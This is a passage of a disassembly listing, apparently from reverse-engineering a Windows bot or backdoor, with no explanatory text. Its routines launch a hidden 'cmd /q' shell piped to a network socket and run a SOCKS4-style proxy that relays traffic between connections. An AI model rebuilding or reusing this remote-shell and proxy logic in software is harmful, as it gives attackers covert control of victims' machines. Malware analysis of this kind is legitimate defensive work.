lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_408EB9
add esp, 14h
loc_4107AB: ; CODE XREF: sub_41055F+22Aj
lea eax, [ebp+var_414]
push eax
call sub_41458A
pop ecx
push edi
call dword_4E0934
push ebx
call dword_4E0934
call dword_4E0804
push [ebp+var_4C]
call sub_40AB19
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop ebx
loc_4107DD: ; DATA XREF: sub_41055F+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_41055F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4107E7 proc near ; CODE XREF: sub_4102D1+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410938
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_4537D4[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_4F1338
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410B0A
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410852
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C404
call sub_4145FE
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41088C
; ---------------------------------------------------------------------------
loc_410852: ; CODE XREF: sub_4107E7+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410BBC
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410893
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C44C
call sub_4145FE
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_4F1368 ; TerminateThread
loc_41088C: ; CODE XREF: sub_4107E7+69j
xor eax, eax
jmp loc_410933
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_4107E7+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_4F13E4 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4108ED
dec eax
jz short loc_4108E7
dec eax
jz short loc_4108D3
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C494
call sub_4145FE
pop ecx
pop ecx
jmp short loc_410902
; ---------------------------------------------------------------------------
loc_4108D3: ; CODE XREF: sub_4107E7+D5j
mov edi, dword_4F1368
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_410902
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_4107E7+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4108F1
; ---------------------------------------------------------------------------
loc_4108ED: ; CODE XREF: sub_4107E7+CFj
push ebx
push dword ptr [esi+14h]
loc_4108F1: ; CODE XREF: sub_4107E7+104j
call dword_4F1368 ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_4F13AC ; TerminateProcess
loc_410902: ; CODE XREF: sub_4107E7+EAj
; sub_4107E7+FEj
push dword ptr [esi+10h]
mov edi, dword_4F1324
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4E0934
push esi
call sub_419940
pop ecx
push 1
pop eax
loc_410933: ; CODE XREF: sub_4107E7+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4107E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410938 proc near ; CODE XREF: sub_4107E7+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_418ED0
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410A22
mov ebx, dword_4F13B8
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_4F1324
test eax, eax
jnz short loc_41099B
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C4C8
jmp short loc_4109BB
; ---------------------------------------------------------------------------
loc_41099B: ; CODE XREF: sub_410938+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4109C3
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C508
loc_4109BB: ; CODE XREF: sub_410938+61j
call sub_4145FE
pop ecx
jmp short loc_4109F1
; ---------------------------------------------------------------------------
loc_4109C3: ; CODE XREF: sub_410938+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410A31
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_410A26
push offset unk_44C548
call sub_41458A
loc_4109F1: ; CODE XREF: sub_410938+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4109FD
push [ebp+var_4]
call edi ; CloseHandle
loc_4109FD: ; CODE XREF: sub_410938+BEj
cmp [ebp+var_8], 0
jz short loc_410A08
push [ebp+var_8]
call edi ; CloseHandle
loc_410A08: ; CODE XREF: sub_410938+C9j
mov eax, [esi]
test eax, eax
jz short loc_410A11
push eax
call edi ; CloseHandle
loc_410A11: ; CODE XREF: sub_410938+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410A1B
push eax
call edi ; CloseHandle
loc_410A1B: ; CODE XREF: sub_410938+DEj
push esi
call sub_419940
pop ecx
loc_410A22: ; CODE XREF: sub_410938+1Dj
xor eax, eax
jmp short loc_410A2C
; ---------------------------------------------------------------------------
loc_410A26: ; CODE XREF: sub_410938+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410A2C: ; CODE XREF: sub_410938+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410938 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A31 proc near ; CODE XREF: sub_410938+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B190
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B190
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4F13B4
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_4F13B0 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_4F1328 ; CreateProcessA
test eax, eax
jz short loc_410AED
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_4537D0[eax], ecx
call dword_4F1324 ; CloseHandle
jmp short loc_410B03
; ---------------------------------------------------------------------------
loc_410AED: ; CODE XREF: sub_410A31+9Aj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
push offset unk_44C578
call sub_4145FE
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410B03: ; CODE XREF: sub_410A31+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410A31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B0A proc near ; DATA XREF: sub_4107E7+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4F13A4
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_410B33: ; CODE XREF: sub_410B0A+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_410B9B
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_410B6E
loc_410B44: ; CODE XREF: sub_410B0A+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_410B5E
cmp dl, 0Dh
jz short loc_410B5E
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_410B5E: ; CODE XREF: sub_410B0A+44j
; sub_410B0A+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_410B44
loc_410B6E: ; CODE XREF: sub_410B0A+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4E08EC
test eax, eax
jle short loc_410B9B
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_410B33
; ---------------------------------------------------------------------------
loc_410B9B: ; CODE XREF: sub_410B0A+2Dj
; sub_410B0A+79j
mov esi, dword_4F1348
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_410BB7
call esi ; RtlGetLastWin32Error
push eax
push offset unk_44C5B0
call sub_4145FE
pop ecx
pop ecx
loc_410BB7: ; CODE XREF: sub_410B0A+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410B0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410BBC proc near ; DATA XREF: sub_4107E7+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_410BD5: ; CODE XREF: sub_410BBC+39j
; sub_410BBC+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4E08B8
test eax, eax
jle loc_410CDA
cmp [ebp+var_10], ebx
jbe short loc_410BF7
dec [ebp+var_10]
jmp short loc_410BD5
; ---------------------------------------------------------------------------
loc_410BF7: ; CODE XREF: sub_410BBC+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_410CBA
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_410C67
cmp al, 7Fh
jz short loc_410C67
cmp al, 3
jnz short loc_410C22
push ebx
push ebx
call dword_4F13E8 ; GenerateConsoleCtrlEvent
jmp short loc_410C8E
; ---------------------------------------------------------------------------
loc_410C22: ; CODE XREF: sub_410BBC+5Aj
cmp al, 15h
jnz short loc_410C44
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_410C7A
; ---------------------------------------------------------------------------
loc_410C44: ; CODE XREF: sub_410BBC+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_410C7B
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_410C7A
; ---------------------------------------------------------------------------
loc_410C67: ; CODE XREF: sub_410BBC+52j
; sub_410BBC+56j
cmp esi, ebx
jbe short loc_410C91
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_410C7A: ; CODE XREF: sub_410BBC+86j
; sub_410BBC+A9j
pop ecx
loc_410C7B: ; CODE XREF: sub_410BBC+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4E08EC
test eax, eax
jle short loc_410CDA
loc_410C8E: ; CODE XREF: sub_410BBC+64j
mov al, byte ptr [ebp+arg_0+3]
loc_410C91: ; CODE XREF: sub_410BBC+ADj
cmp al, 0Dh
jnz loc_410BD5
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_4F139C ; WriteFile
test eax, eax
jz short loc_410CDA
xor esi, esi
jmp loc_410BD5
; ---------------------------------------------------------------------------
loc_410CBA: ; CODE XREF: sub_410BBC+47j
cmp [ebp+var_C], ebx
jnz short loc_410CCB
mov [ebp+var_C], 1
jmp loc_410BD5
; ---------------------------------------------------------------------------
loc_410CCB: ; CODE XREF: sub_410BBC+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_410BD5
; ---------------------------------------------------------------------------
loc_410CDA: ; CODE XREF: sub_410BBC+2Bj
; sub_410BBC+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_410BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CDF proc near ; DATA XREF: sub_401CC1+2762o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4E08A0
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4E091C
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_4537D4[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4E08CC
test eax, eax
jnz loc_410E81
push 0Ah
push edi
call dword_4E08C8
test eax, eax
jnz loc_410E81
push [ebp+var_40]
push [ebp+var_D4]
call sub_40A019
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_44C5EC
push eax
call sub_41B740
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_410DBA
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_408EB9
add esp, 14h
loc_410DBA: ; CODE XREF: sub_410CDF+B9j
; sub_410CDF+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_41458A
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4E0930
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4E0928
push eax
lea eax, [ebp+var_2D4]
push offset dword_44C614
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40A7FD
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4537CC[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_410EE4
push esi
push esi
call dword_4F1338 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_4537DC[ecx], eax
jz short loc_410E61
loc_410E4E: ; CODE XREF: sub_410CDF+180j
cmp [ebp+var_28], esi
jnz loc_410DBA
push 5
call dword_4F1334 ; Sleep
jmp short loc_410E4E
; ---------------------------------------------------------------------------
loc_410E61: ; CODE XREF: sub_410CDF+16Dj
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_44C658
push eax
call sub_41B740
add esp, 0Ch
jmp loc_410DBA
; ---------------------------------------------------------------------------
loc_410E81: ; CODE XREF: sub_410CDF+7Bj
; sub_410CDF+8Cj
push edi
call dword_4E0934
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_44C694
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_410EC4
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_408EB9
add esp, 14h
loc_410EC4: ; CODE XREF: sub_410CDF+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_41458A
push [ebp+var_3C]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
pop ebx
sub_410CDF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410EE4 proc near ; DATA XREF: sub_410CDF+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_4537D4[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4E0888
test eax, eax
jnz short loc_410F65
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_410F65: ; CODE XREF: sub_410EE4+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4E08B8
test eax, eax
jg short loc_410F96
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_410F96: ; CODE XREF: sub_410EE4+98j
cmp [ebp+var_4D0], 4
jnz loc_411190
cmp [ebp+var_4CF], 1
jnz loc_411190
cmp [ebp+var_44], bl
jz short loc_41102C
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_41102C
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_44C6C8
call sub_4145FE
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41B190
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E08EC
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_41102C: ; CODE XREF: sub_410EE4+CFj
; sub_410EE4+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41B190
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4E091C
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4110C4
call dword_4E083C
push eax
push offset dword_44C708
call sub_4145FE
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41B190
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E08EC
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_4110C4: ; CODE XREF: sub_410EE4+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4E084C
cmp eax, 0FFFFFFFFh
jnz short loc_411133
call dword_4E083C
push eax
push offset dword_44C748
call sub_4145FE
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41B190
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E08EC
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_411133: ; CODE XREF: sub_410EE4+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4E08EC
push dword ptr [esi]
push edi
call sub_4111A8
pop ecx
pop ecx
push edi
call dword_4E0934
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_411190: ; CODE XREF: sub_410EE4+B9j
; sub_410EE4+C6j
push dword ptr [esi]
call dword_4E0934
push [ebp+arg_0]
call sub_40AB19
pop ecx
push ebx
call dword_4F1388 ; ExitThread
sub_410EE4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111A8 proc near ; CODE XREF: sub_410EE4+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4111BE: ; CODE XREF: sub_4111A8+C5j
; sub_4111A8+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4111D6: ; CODE XREF: sub_4111A8+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4111E6
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4111D6
loc_4111E6: ; CODE XREF: sub_4111A8+33j
cmp ecx, 1
jnz short loc_4111FB
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4111FB: ; CODE XREF: sub_4111A8+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4E0888
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4E079C
test eax, eax
jz short loc_41125B
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4E08B8
cmp eax, 0FFFFFFFFh
jz short loc_4112A3
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jz short loc_4112A3
loc_41125B: ; CODE XREF: sub_4111A8+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4E079C
test eax, eax
jz loc_4111BE
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4E08B8
cmp eax, 0FFFFFFFFh
jz short loc_4112A3
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jnz loc_4111BE
loc_4112A3: ; CODE XREF: sub_4111A8+9Aj
; sub_4111A8+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4111A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112A8 proc near ; CODE XREF: sub_4112A8:loc_411719p
; DATA XREF: sub_401CC1+1C45o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4E091C
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_411348
push 190h
call dword_4F1334 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_411328
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_408EB9
add esp, 14h
loc_411328: ; CODE XREF: sub_4112A8+5Bj
lea eax, [ebp+var_778]
push eax
call sub_41458A
push [ebp+var_168]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_411348: ; CODE XREF: sub_4112A8+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4E0880
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4E0880
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_4537D4[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4E08A0
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4E08CC
cmp eax, 0FFFFFFFFh
jnz short loc_4113D2
push 1388h
call dword_4F1334 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_411719
; ---------------------------------------------------------------------------
loc_4113D2: ; CODE XREF: sub_4112A8+10Fj
lea eax, [ebp+var_370]
push offset aRb_0 ; "rb"
push eax
call sub_41B170
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_411438
push 190h
call dword_4F1334 ; Sleep
push ebx
lea eax, [ebp+var_778]
